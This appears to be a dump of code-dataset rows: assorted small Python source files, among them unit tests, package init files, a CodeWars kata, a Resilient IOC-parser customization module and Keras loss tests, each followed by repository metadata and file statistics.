import re from random import randint from typing import Match from typing import Optional from retrying import retry import apysc as ap from apysc._display.line_joints_interface import LineJointsInterface from apysc._expression import expression_data_util from tests.testing_helper import assert_raises class TestLineJointsInterface: @retry(stop_max_attempt_number=15, wait_fixed=randint(10, 3000)) def test__initialize_line_joints_if_not_initialized(self) -> None: interface: LineJointsInterface = LineJointsInterface() interface._initialize_line_joints_if_not_initialized() assert interface._line_joints == ap.LineJoints.MITER.value interface._line_joints = ap.String(ap.LineJoints.BEVEL.value) interface._initialize_line_joints_if_not_initialized() assert interface._line_joints == ap.LineJoints.BEVEL.value @retry(stop_max_attempt_number=15, wait_fixed=randint(10, 3000)) def test_line_joints(self) -> None: interface: LineJointsInterface = LineJointsInterface() interface.variable_name = 'test_line_joints_interface' interface._initialize_line_joints_if_not_initialized() assert interface.line_joints == ap.LineJoints.MITER.value interface.line_joints = ap.LineJoints.BEVEL assert interface.line_joints == ap.LineJoints.BEVEL.value # type: ignore # noqa @retry(stop_max_attempt_number=15, wait_fixed=randint(10, 3000)) def test__update_line_joints_and_skip_appending_exp(self) -> None: expression_data_util.empty_expression() interface: LineJointsInterface = LineJointsInterface() interface.variable_name = 'test_line_joints_interface' assert_raises( expected_error_class=TypeError, func_or_method=interface. _update_line_joints_and_skip_appending_exp, kwargs={'value': 'miter'}, match=r'Not supported line_joints type specified: ') interface._update_line_joints_and_skip_appending_exp( value=ap.String(ap.LineJoints.BEVEL.value)) assert interface.line_joints == ap.LineJoints.BEVEL.value expression: str = expression_data_util.get_current_expression() assert '.attr' not in expression interface._update_line_joints_and_skip_appending_exp( value=ap.LineJoints.MITER) assert interface.line_joints == ap.LineJoints.MITER.value @retry(stop_max_attempt_number=15, wait_fixed=randint(10, 3000)) def test__append_line_joints_update_expression(self) -> None: expression_data_util.empty_expression() interface: LineJointsInterface = LineJointsInterface() interface.variable_name = 'test_line_joints_interface' interface.line_joints = ap.LineJoints.BEVEL interface._append_line_joints_update_expression() expression: str = expression_data_util.get_current_expression() match: Optional[Match] = re.search( pattern=( rf'{interface.variable_name}.attr' rf'\({{"stroke-linejoin": .+?}}\);' ), string=expression, flags=re.MULTILINE) assert match is not None @retry(stop_max_attempt_number=15, wait_fixed=randint(10, 3000)) def test__make_snapshot(self) -> None: interface: LineJointsInterface = LineJointsInterface() interface.variable_name = 'test_line_joints_interface' snapshot_name: str = interface._get_next_snapshot_name() interface._run_all_make_snapshot_methods(snapshot_name=snapshot_name) assert interface._line_joints_snapshots == { snapshot_name: ap.LineJoints.MITER.value} interface.line_joints = ap.LineJoints.BEVEL interface._run_all_make_snapshot_methods(snapshot_name=snapshot_name) assert interface._line_joints_snapshots == { snapshot_name: ap.LineJoints.MITER.value} @retry(stop_max_attempt_number=15, wait_fixed=randint(10, 3000)) def test__revert(self) -> None: interface: LineJointsInterface = LineJointsInterface() interface.variable_name = 'test_line_joints_interface' snapshot_name: str = interface._get_next_snapshot_name() interface._run_all_make_snapshot_methods(snapshot_name=snapshot_name) interface.line_joints = ap.LineJoints.BEVEL interface._run_all_revert_methods(snapshot_name=snapshot_name) assert interface.line_joints == ap.LineJoints.MITER.value # type: ignore # noqa interface.line_joints = ap.LineJoints.BEVEL interface._run_all_revert_methods(snapshot_name=snapshot_name) assert interface.line_joints == ap.LineJoints.BEVEL.value # type: ignore # noqa
47.313725
89
0.716121
547
4,826
5.928702
0.170018
0.104841
0.09374
0.090657
0.814061
0.794326
0.748998
0.727105
0.655257
0.655257
0
0.012539
0.206797
4,826
101
90
47.782178
0.83464
0.011604
0
0.564706
0
0
0.053196
0.039039
0
0
0
0
0.164706
1
0.070588
false
0
0.105882
0
0.188235
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
de3275c60d2f226fcbb457101ec3fbbdd8ab768c
159
py
Python
datalad_registry/tests/test_root.py
datalad/datalad-registry
2e517f70300f2211fe08600c757e150f1c35eaeb
[ "MIT" ]
null
null
null
datalad_registry/tests/test_root.py
datalad/datalad-registry
2e517f70300f2211fe08600c757e150f1c35eaeb
[ "MIT" ]
53
2020-10-26T21:50:04.000Z
2021-10-13T17:31:33.000Z
datalad_registry/tests/test_root.py
datalad/datalad-registry
2e517f70300f2211fe08600c757e150f1c35eaeb
[ "MIT" ]
1
2021-07-16T16:27:43.000Z
2021-07-16T16:27:43.000Z
def test_root_redirect(client): r_root = client.get("/") assert r_root.status_code == 302 assert r_root.headers["Location"].endswith("/overview/")
31.8
60
0.698113
22
159
4.772727
0.681818
0.142857
0.209524
0
0
0
0
0
0
0
0
0.022059
0.144654
159
4
61
39.75
0.75
0
0
0
0
0
0.119497
0
0
0
0
0
0.5
1
0.25
false
0
0
0
0.25
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
0
0
0
0
0
0
0
5
de3aaf0a24182c34e4e2790588ca343c6c3ef59d
101
py
Python
code/AST/ElseAST.py
antuniooh/Dattebayo-compiler
fd6767aee1c131dcbf76fc061bce43224df03f8b
[ "MIT" ]
null
null
null
code/AST/ElseAST.py
antuniooh/Dattebayo-compiler
fd6767aee1c131dcbf76fc061bce43224df03f8b
[ "MIT" ]
null
null
null
code/AST/ElseAST.py
antuniooh/Dattebayo-compiler
fd6767aee1c131dcbf76fc061bce43224df03f8b
[ "MIT" ]
1
2021-12-05T14:00:39.000Z
2021-12-05T14:00:39.000Z
from .AST import AST class ElseAST(AST): def __init__(self, scope): self.scope = scope
14.428571
30
0.643564
14
101
4.357143
0.642857
0.295082
0
0
0
0
0
0
0
0
0
0
0.257426
101
6
31
16.833333
0.813333
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.75
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
5
de6357fb96adf51c08a1f8052b7287e77904d423
166
py
Python
phygnn/model_interfaces/__init__.py
leilei-help/phygnn
889d6abb255a984c4d02f575c39c8280fc2cb839
[ "BSD-3-Clause" ]
41
2020-08-20T17:05:00.000Z
2022-03-04T12:23:50.000Z
phygnn/model_interfaces/__init__.py
leilei-help/phygnn
889d6abb255a984c4d02f575c39c8280fc2cb839
[ "BSD-3-Clause" ]
19
2020-08-24T17:14:04.000Z
2022-03-28T22:37:15.000Z
phygnn/model_interfaces/__init__.py
NREL/phygnn
3a508ccd3efda66e851d418f9f4eda319d58a947
[ "BSD-3-Clause" ]
11
2020-09-24T16:54:17.000Z
2022-02-15T00:07:58.000Z
# -*- coding: utf-8 -*- """Model Interfaces""" from .phygnn_model import PhygnnModel from .random_forest_model import RandomForestModel from .tf_model import TfModel
27.666667
50
0.777108
21
166
5.952381
0.666667
0.264
0
0
0
0
0
0
0
0
0
0.006803
0.114458
166
5
51
33.2
0.843537
0.23494
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
de75711095a115e602b336b77b22e8ae988f11a0
43
py
Python
ariesk/params/__init__.py
dcdanko/AriesK
f761913c701b9e2526714cd3b96db3aaa3eeff8c
[ "MIT" ]
null
null
null
ariesk/params/__init__.py
dcdanko/AriesK
f761913c701b9e2526714cd3b96db3aaa3eeff8c
[ "MIT" ]
2
2019-11-05T21:58:41.000Z
2019-11-05T21:58:47.000Z
ariesk/params/__init__.py
dcdanko/AriesK
f761913c701b9e2526714cd3b96db3aaa3eeff8c
[ "MIT" ]
null
null
null
from .param_picker import ParameterPicker
14.333333
41
0.860465
5
43
7.2
1
0
0
0
0
0
0
0
0
0
0
0
0.116279
43
2
42
21.5
0.947368
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
de8009b3660d3f4062a2d9745e8ea1b94268d582
73
py
Python
katas/beta/rotated_string.py
the-zebulan/CodeWars
1eafd1247d60955a5dfb63e4882e8ce86019f43a
[ "MIT" ]
40
2016-03-09T12:26:20.000Z
2022-03-23T08:44:51.000Z
katas/beta/rotated_string.py
akalynych/CodeWars
1eafd1247d60955a5dfb63e4882e8ce86019f43a
[ "MIT" ]
null
null
null
katas/beta/rotated_string.py
akalynych/CodeWars
1eafd1247d60955a5dfb63e4882e8ce86019f43a
[ "MIT" ]
36
2016-11-07T19:59:58.000Z
2022-03-31T11:18:27.000Z
def is_rotation(s1, s2): return s1 in s2 + s2 and len(s1) == len(s2)
24.333333
47
0.616438
15
73
2.933333
0.6
0
0
0
0
0
0
0
0
0
0
0.125
0.232877
73
2
48
36.5
0.660714
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
de94e027cf54fdcd538f6493c9f9ec455283946d
150
py
Python
BasicModel/__init__.py
whutJamesYoung/CryptoClassification
ac58da12542eb13e9977d150e619f06224d6458c
[ "Unlicense" ]
2
2021-12-05T09:02:56.000Z
2021-12-20T06:21:45.000Z
BasicModel/__init__.py
whutJamesYoung/CryptoClassification
ac58da12542eb13e9977d150e619f06224d6458c
[ "Unlicense" ]
null
null
null
BasicModel/__init__.py
whutJamesYoung/CryptoClassification
ac58da12542eb13e9977d150e619f06224d6458c
[ "Unlicense" ]
null
null
null
from BasicModel.conv_extractor import get_conv_feature from BasicModel.rf import RF from BasicModel.svm import SVM from BasicModel.train import train
30
54
0.866667
23
150
5.521739
0.434783
0.440945
0
0
0
0
0
0
0
0
0
0
0.106667
150
4
55
37.5
0.947761
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
def35b43dcf9468b22f12ce216d578cdcefc412c
40
py
Python
tests/__init__.py
willingc/escapement
a02cc5f4367acf6cbc7f0734744b5093b4b02597
[ "MIT" ]
null
null
null
tests/__init__.py
willingc/escapement
a02cc5f4367acf6cbc7f0734744b5093b4b02597
[ "MIT" ]
null
null
null
tests/__init__.py
willingc/escapement
a02cc5f4367acf6cbc7f0734744b5093b4b02597
[ "MIT" ]
null
null
null
"""Unit test package for escapement."""
20
39
0.7
5
40
5.6
1
0
0
0
0
0
0
0
0
0
0
0
0.125
40
1
40
40
0.8
0.825
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
72373738145b01ccecd4c99dc9d6eed3262ec700
185
py
Python
redash_toolbelt/__init__.py
rpietzsch/redash-toolbelt
7900a6e88c711b7ec86336f61de8cce9323bf923
[ "BSD-2-Clause" ]
null
null
null
redash_toolbelt/__init__.py
rpietzsch/redash-toolbelt
7900a6e88c711b7ec86336f61de8cce9323bf923
[ "BSD-2-Clause" ]
null
null
null
redash_toolbelt/__init__.py
rpietzsch/redash-toolbelt
7900a6e88c711b7ec86336f61de8cce9323bf923
[ "BSD-2-Clause" ]
null
null
null
#from .client import Redash #from .date_ranges import get_frontend_vals #"""Namespace __init__.py file.""" #from pkgutil import extend_path #__path__ = extend_path(__path__, __name__)
26.428571
43
0.789189
25
185
5
0.68
0.16
0.224
0
0
0
0
0
0
0
0
0
0.108108
185
6
44
30.833333
0.757576
0.940541
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
724605e76a5483239f9f55bfa0b2c273ec9f3e8d
104
py
Python
tests/python_slices/list.py
hixio-mh/plugin-python
d59dca4b6166dc20eec3e7aa57b0649c072507ce
[ "MIT" ]
362
2018-02-17T10:25:11.000Z
2022-03-30T21:04:59.000Z
tests/python_slices/list.py
hixio-mh/plugin-python
d59dca4b6166dc20eec3e7aa57b0649c072507ce
[ "MIT" ]
70
2018-02-17T04:00:14.000Z
2019-08-21T18:01:52.000Z
tests/python_slices/list.py
hixio-mh/plugin-python
d59dca4b6166dc20eec3e7aa57b0649c072507ce
[ "MIT" ]
36
2018-02-18T23:11:25.000Z
2021-09-20T07:19:36.000Z
a[-1] a[-2:] a[:-2] a[::-1] a[1::-1] a[:-3:-1] a[-3::-1] point_coords = coords[i, :] main(sys.argv[1:])
10.4
27
0.461538
25
104
1.88
0.4
0.170213
0.12766
0.170213
0
0
0
0
0
0
0
0.119565
0.115385
104
9
28
11.555556
0.391304
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
1
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
a0e274d26ba37ef098fb1c296751da0b90ef4730
72
py
Python
curator/__init__.py
wjimenez5271/curator
68c2311327dc276394aa8cc4be30296da13fe23f
[ "Apache-2.0" ]
1
2017-12-06T11:07:48.000Z
2017-12-06T11:07:48.000Z
curator/__init__.py
wjimenez5271/curator
68c2311327dc276394aa8cc4be30296da13fe23f
[ "Apache-2.0" ]
1
2020-02-22T20:29:15.000Z
2020-02-22T20:29:15.000Z
curator/__init__.py
wjimenez5271/curator
68c2311327dc276394aa8cc4be30296da13fe23f
[ "Apache-2.0" ]
null
null
null
from ._version import __version__ from .api import * from .cli import *
18
33
0.763889
10
72
5
0.5
0
0
0
0
0
0
0
0
0
0
0
0.166667
72
3
34
24
0.833333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
a0ee012f683b1f43f409a332094d01d7fe4923d5
113
py
Python
WeatherPy/api_keys.py
yash5OG/PythonAPIChallenge-W6-Y5
48d9d4bf3d10b319c8452400c86dab0a378946d8
[ "MIT" ]
null
null
null
WeatherPy/api_keys.py
yash5OG/PythonAPIChallenge-W6-Y5
48d9d4bf3d10b319c8452400c86dab0a378946d8
[ "MIT" ]
null
null
null
WeatherPy/api_keys.py
yash5OG/PythonAPIChallenge-W6-Y5
48d9d4bf3d10b319c8452400c86dab0a378946d8
[ "MIT" ]
null
null
null
# OpenWeatherMap API Key weather_api_key = "Insert your own key" # Google API Key g_key = "Insert your own key"
18.833333
39
0.743363
19
113
4.263158
0.473684
0.222222
0.320988
0.395062
0.469136
0
0
0
0
0
0
0
0.185841
113
5
40
22.6
0.880435
0.327434
0
0
0
0
0.520548
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
19c7ce3e29b310ddd2176b56c992746aba20f7d4
26
py
Python
rucliptiny/__init__.py
cene555/ru-clip-tiny
43dbde55170696f8df679b5d8c40dcd9a8b55967
[ "MIT" ]
18
2022-02-01T18:09:02.000Z
2022-03-16T16:42:00.000Z
rucliptiny/__init__.py
Lednik7/ru-clip-tiny
8db8249d0ba18d74c501591ae8db49b769f57c23
[ "MIT" ]
null
null
null
rucliptiny/__init__.py
Lednik7/ru-clip-tiny
8db8249d0ba18d74c501591ae8db49b769f57c23
[ "MIT" ]
1
2022-02-01T14:29:02.000Z
2022-02-01T14:29:02.000Z
from .rucliptiny import *
13
25
0.769231
3
26
6.666667
1
0
0
0
0
0
0
0
0
0
0
0
0.153846
26
1
26
26
0.909091
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
c204303b00dbd3ac33cf57595336f9b921448aa9
27,630
py
Python
fn_ioc_parser_v2/fn_ioc_parser_v2/util/customize.py
rudimeyer/resilient-community-apps
7a46841ba41fa7a1c421d4b392b0a3ca9e36bd00
[ "MIT" ]
1
2020-08-25T03:43:07.000Z
2020-08-25T03:43:07.000Z
fn_ioc_parser_v2/fn_ioc_parser_v2/util/customize.py
rudimeyer/resilient-community-apps
7a46841ba41fa7a1c421d4b392b0a3ca9e36bd00
[ "MIT" ]
1
2019-07-08T16:57:48.000Z
2019-07-08T16:57:48.000Z
fn_ioc_parser_v2/fn_ioc_parser_v2/util/customize.py
rudimeyer/resilient-community-apps
7a46841ba41fa7a1c421d4b392b0a3ca9e36bd00
[ "MIT" ]
null
null
null
# (c) Copyright IBM Corp. 2010, 2019. All Rights Reserved. # -*- coding: utf-8 -*- """Generate the Resilient customizations required for fn_ioc_parser_v2""" from __future__ import print_function from resilient_circuits.util import * def codegen_reload_data(): """Parameters to codegen used to generate the fn_ioc_parser_v2 package""" reload_params = {"package": u"fn_ioc_parser_v2", "incident_fields": [], "action_fields": [], "function_params": [u"ioc_parser_v2_artifact_id", u"ioc_parser_v2_artifact_value", u"ioc_parser_v2_attachment_id", u"ioc_parser_v2_incident_id", u"ioc_parser_v2_task_id"], "datatables": [], "message_destinations": [u"fn_ioc_parser_v2"], "functions": [u"func_ioc_parser_v2"], "phases": [], "automatic_tasks": [], "scripts": [], "workflows": [u"example_parse_iocs_artifact", u"example_parse_iocs_attachment"], "actions": [u"Example: Parse IOCs (Artifact)", u"Example: Parse IOCs (Attachment)"], "incident_artifact_types": [] } return reload_params def customization_data(client=None): """Produce any customization definitions (types, fields, message destinations, etc) that should be installed by `resilient-circuits customize` """ # This import data contains: # Function inputs: # ioc_parser_v2_artifact_id # ioc_parser_v2_artifact_value # ioc_parser_v2_attachment_id # ioc_parser_v2_incident_id # ioc_parser_v2_task_id # Message Destinations: # fn_ioc_parser_v2 # Functions: # func_ioc_parser_v2 # Workflows: # example_parse_iocs_artifact # example_parse_iocs_attachment # Rules: # Example: Parse IOCs (Artifact) # Example: Parse IOCs (Attachment) yield ImportDefinition(u""" eyJ0YXNrX29yZGVyIjogW10sICJ3b3JrZmxvd3MiOiBbeyJ1dWlkIjogIjVhMjZjMGYxLTM0Mzct NGY3MC1iODc0LWQzYmUwOTY1ZjQxNSIsICJkZXNjcmlwdGlvbiI6ICJFeGFtcGxlIHdvcmtmbG93 IHNob3dpbmcgaG93IHRvIGV4dHJhY3QgSU9DJ3MgKEluZGljYXRvcnMgb2YgQ29tcHJvbWlzZSkg ZnJvbSBJbmNpZGVudC9UYXNrIEF0dGFjaG1lbnRzLiBFYWNoIHVuaXF1ZSBJT0MgaXMgYWRkZWQg dG8gdGhlIEluY2lkZW50IGFzIGFuIEFydGlmYWN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JuYWwiOiBmYWxz ZSwgInJpY2hfdGV4dCI6IGZhbHNlLCAidGVtcGxhdGVzIjogW10sICJleHBvcnRfa2V5IjogIl9f ZnVuY3Rpb24vaW9jX3BhcnNlcl92Ml9hdHRhY2htZW50X2lkIiwgImhpZGVfbm90aWZpY2F0aW9u IjogZmFsc2UsICJwbGFjZWhvbGRlciI6ICIiLCAibmFtZSI6ICJpb2NfcGFyc2VyX3YyX2F0dGFj aG1lbnRfaWQiLCAiZGVwcmVjYXRlZCI6IGZhbHNlLCAiZGVmYXVsdF9jaG9zZW5fYnlfc2VydmVy IjogZmFsc2UsICJ2YWx1ZXMiOiBbXX1dLCAib3ZlcnJpZGVzIjogW10sICJleHBvcnRfZGF0ZSI6 IDE1NjM4MTE4NDM2MDJ9 """ )
71.395349
192
0.957727
600
27,630
43.951667
0.756667
0.005802
0.007091
0.002465
0.018164
0.007736
0.007736
0.007736
0.003944
0.003944
0
0.117488
0.033333
27,630
387
193
71.395349
0.869857
0.028701
0
0.011268
1
0
0.971783
0.949425
0
1
0
0
0
1
0.005634
false
0
0.008451
0
0.016901
0.002817
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
5
c24154a3a27f0266dd5261b59e925bea70b02f73
69
py
Python
datasets/__init__.py
Lilytopia/WakeNet
0273504ef4672826542a598f418bcfee5a0caf94
[ "MIT" ]
4
2021-11-28T13:44:22.000Z
2022-03-26T08:43:43.000Z
datasets/__init__.py
Lilytopia/WakeNet
0273504ef4672826542a598f418bcfee5a0caf94
[ "MIT" ]
1
2021-11-29T06:51:23.000Z
2021-11-29T12:53:27.000Z
datasets/__init__.py
Lilytopia/WakeNet
0273504ef4672826542a598f418bcfee5a0caf94
[ "MIT" ]
2
2021-12-05T15:01:38.000Z
2022-02-26T13:08:09.000Z
from .collater import Collater from .swim_dataset import SWIMDataset
23
37
0.855072
9
69
6.444444
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.115942
69
2
38
34.5
0.95082
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
dfb90850fcdf8ceb0e8c0fd5b19ecb42b6661c91
174
py
Python
tests/integration/utils.py
krjakbrjak/time_management
54ed55ddf0da9500722da4d0aafbc71ebfccc205
[ "MIT" ]
null
null
null
tests/integration/utils.py
krjakbrjak/time_management
54ed55ddf0da9500722da4d0aafbc71ebfccc205
[ "MIT" ]
8
2021-11-10T11:05:34.000Z
2021-11-14T16:07:25.000Z
tests/integration/utils.py
krjakbrjak/time_management
54ed55ddf0da9500722da4d0aafbc71ebfccc205
[ "MIT" ]
null
null
null
import uvicorn from time_manager.main import app from time_manager.utils.settings import Server def run(): uvicorn.run(app=app, host="0.0.0.0", port=int(Server.port))
19.333333
63
0.747126
30
174
4.266667
0.533333
0.046875
0.234375
0
0
0
0
0
0
0
0
0.026316
0.126437
174
8
64
21.75
0.815789
0
0
0
0
0
0.04023
0
0
0
0
0
0
1
0.2
true
0
0.6
0
0.8
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
dfd60645e31fe4086faa16b16df3c6ddb42c50d6
174
py
Python
lib/all.py
mcnuggetsx20/QPanel
cb4a0a85382df5822386ed6b5510f142d0e00552
[ "MIT" ]
null
null
null
lib/all.py
mcnuggetsx20/QPanel
cb4a0a85382df5822386ed6b5510f142d0e00552
[ "MIT" ]
null
null
null
lib/all.py
mcnuggetsx20/QPanel
cb4a0a85382df5822386ed6b5510f142d0e00552
[ "MIT" ]
null
null
null
from lib.clock import CLOCK from lib.text import TEXT from lib.button import clicky_text from lib.cpu import CPU from lib.pic import pic from lib.indicator import INDICATOR
24.857143
35
0.821839
31
174
4.580645
0.322581
0.295775
0.15493
0
0
0
0
0
0
0
0
0
0.143678
174
6
36
29
0.95302
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
dfdeae4875bf6b8e25305aa9cb2b89eaad31979e
2,165
py
Python
tests.py
chrismolli/loss-funs-for-uncertainty
d02cf7223195c198a7b0f69aca51aa39617b315b
[ "MIT" ]
null
null
null
tests.py
chrismolli/loss-funs-for-uncertainty
d02cf7223195c198a7b0f69aca51aa39617b315b
[ "MIT" ]
null
null
null
tests.py
chrismolli/loss-funs-for-uncertainty
d02cf7223195c198a7b0f69aca51aa39617b315b
[ "MIT" ]
null
null
null
import tensorflow as tf import tensorflow.keras.backend as K import unittest import pytest from aleatoric_log_loss import AleatoricLogLoss from aleatoric_reg_loss import AleatoricRegLoss class LogLossTests(unittest.TestCase): @pytest.fixture(autouse=True) def init_params(self): self.params = { "batch_size" : 16, "width" : 32, "height" : 32, "n_classes" : 2, "n_samples" : 20, } self.loss_fun = AleatoricLogLoss(self.params["n_samples"]) def create_rand_norm(self): return K.random_normal((self.params["batch_size"], self.params["width"], self.params["height"], self.params["n_classes"])) def test1_loss_shape(self): y_true = self.create_rand_norm() y_pred = (y_true, y_true) loss = self.loss_fun(y_true, y_pred) assert loss.shape == self.params["batch_size"] def test2_loss_comparison(self): y_true = self.create_rand_norm() y_pred = (y_true, y_true) loss1 = K.sum(self.loss_fun(y_true, y_pred)) y_pred = (1-y_true, y_true) loss2 = K.sum(self.loss_fun(y_true, y_pred)) assert loss1 < loss2 class RegLossTests(unittest.TestCase): @pytest.fixture(autouse=True) def init_params(self): self.params = { "batch_size" : 16, "dims" : [10,2,1] } self.loss_fun = AleatoricRegLoss() def create_rand_norm(self): return K.random_normal((self.params["batch_size"], *self.params["dims"])) def test1_loss_shape(self): y_true = self.create_rand_norm() y_pred = (y_true, y_true) loss = self.loss_fun(y_true, y_pred) assert loss.shape == self.params["batch_size"] def test2_loss_comparison(self): y_true = self.create_rand_norm() y_pred = (y_true, y_true) loss1 = K.sum(self.loss_fun(y_true, y_pred)) y_pred = (1-y_true, y_true) loss2 = K.sum(self.loss_fun(y_true, y_pred)) assert loss1 < loss2
31.376812
66
0.588453
283
2,165
4.219081
0.204947
0.092127
0.060302
0.095477
0.705193
0.705193
0.705193
0.705193
0.705193
0.705193
0
0.019117
0.299307
2,165
68
67
31.838235
0.767963
0
0
0.631579
0
0
0.058199
0
0
0
0
0
0.070175
1
0.140351
false
0
0.105263
0.035088
0.315789
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
dfe3d86b6eb2dcf88ad337efb82dae4ff656db24
155
py
Python
daemon/test_song.py
naren-m/home_assistant
a20d64b79d97cbb2c9bae197c0900515ed8bfbfc
[ "MIT" ]
null
null
null
daemon/test_song.py
naren-m/home_assistant
a20d64b79d97cbb2c9bae197c0900515ed8bfbfc
[ "MIT" ]
null
null
null
daemon/test_song.py
naren-m/home_assistant
a20d64b79d97cbb2c9bae197c0900515ed8bfbfc
[ "MIT" ]
null
null
null
import action_part as ap actions = ap.MyActions() # actions.play_specified_song("/home/narenuday/Music/songs/Yenduko.mp3") actions.play_specified_song()
22.142857
72
0.8
22
155
5.409091
0.727273
0.184874
0.336134
0.403361
0
0
0
0
0
0
0
0.006993
0.077419
155
6
73
25.833333
0.825175
0.451613
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
5
a0b4798b948ad1ba5d9203da0a18a4d913c4e0ad
103
py
Python
archive/utils_archive/file_functions.py
Sensors-in-Paradise/OpportunityML
a123b4842de45f735d517be6bcd96ca35171db91
[ "MIT" ]
1
2022-03-25T16:00:36.000Z
2022-03-25T16:00:36.000Z
src/utils/file_functions.py
Sensors-in-Paradise/OpportunityML
a123b4842de45f735d517be6bcd96ca35171db91
[ "MIT" ]
1
2022-03-28T13:50:28.000Z
2022-03-28T13:50:28.000Z
src/utils/file_functions.py
Sensors-in-Paradise/OpportunityML
a123b4842de45f735d517be6bcd96ca35171db91
[ "MIT" ]
null
null
null
import os def get_subfolder_names(path): return [f.name for f in os.scandir(path) if f.is_dir()]
17.166667
59
0.708738
20
103
3.5
0.8
0
0
0
0
0
0
0
0
0
0
0
0.174757
103
5
60
20.6
0.823529
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
0
0
0
5
39ffb055666f6c01e0c45b5d1393b96bc87532c4
100
py
Python
django_heroku_deploy/whatever/admin.py
AhmadAmmar260/temp
7df9b2868b4d29fe036228a6cd1c09665bb40ad2
[ "Apache-2.0" ]
null
null
null
django_heroku_deploy/whatever/admin.py
AhmadAmmar260/temp
7df9b2868b4d29fe036228a6cd1c09665bb40ad2
[ "Apache-2.0" ]
null
null
null
django_heroku_deploy/whatever/admin.py
AhmadAmmar260/temp
7df9b2868b4d29fe036228a6cd1c09665bb40ad2
[ "Apache-2.0" ]
null
null
null
from django.contrib import admin from whatever.models import Whatever admin.site.register(Whatever)
25
36
0.85
14
100
6.071429
0.642857
0
0
0
0
0
0
0
0
0
0
0
0.09
100
4
37
25
0.934066
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
263ca1024cb39735e5b21dc11852924cd2ff9531
26
py
Python
delta_node/app/__init__.py
delta-mpc/delta-node
674fc61f951e41ed353597f93ca6ea6bc74a102b
[ "Apache-2.0" ]
4
2021-07-22T01:11:15.000Z
2022-03-17T03:26:20.000Z
delta_node/app/__init__.py
delta-mpc/delta-node
674fc61f951e41ed353597f93ca6ea6bc74a102b
[ "Apache-2.0" ]
10
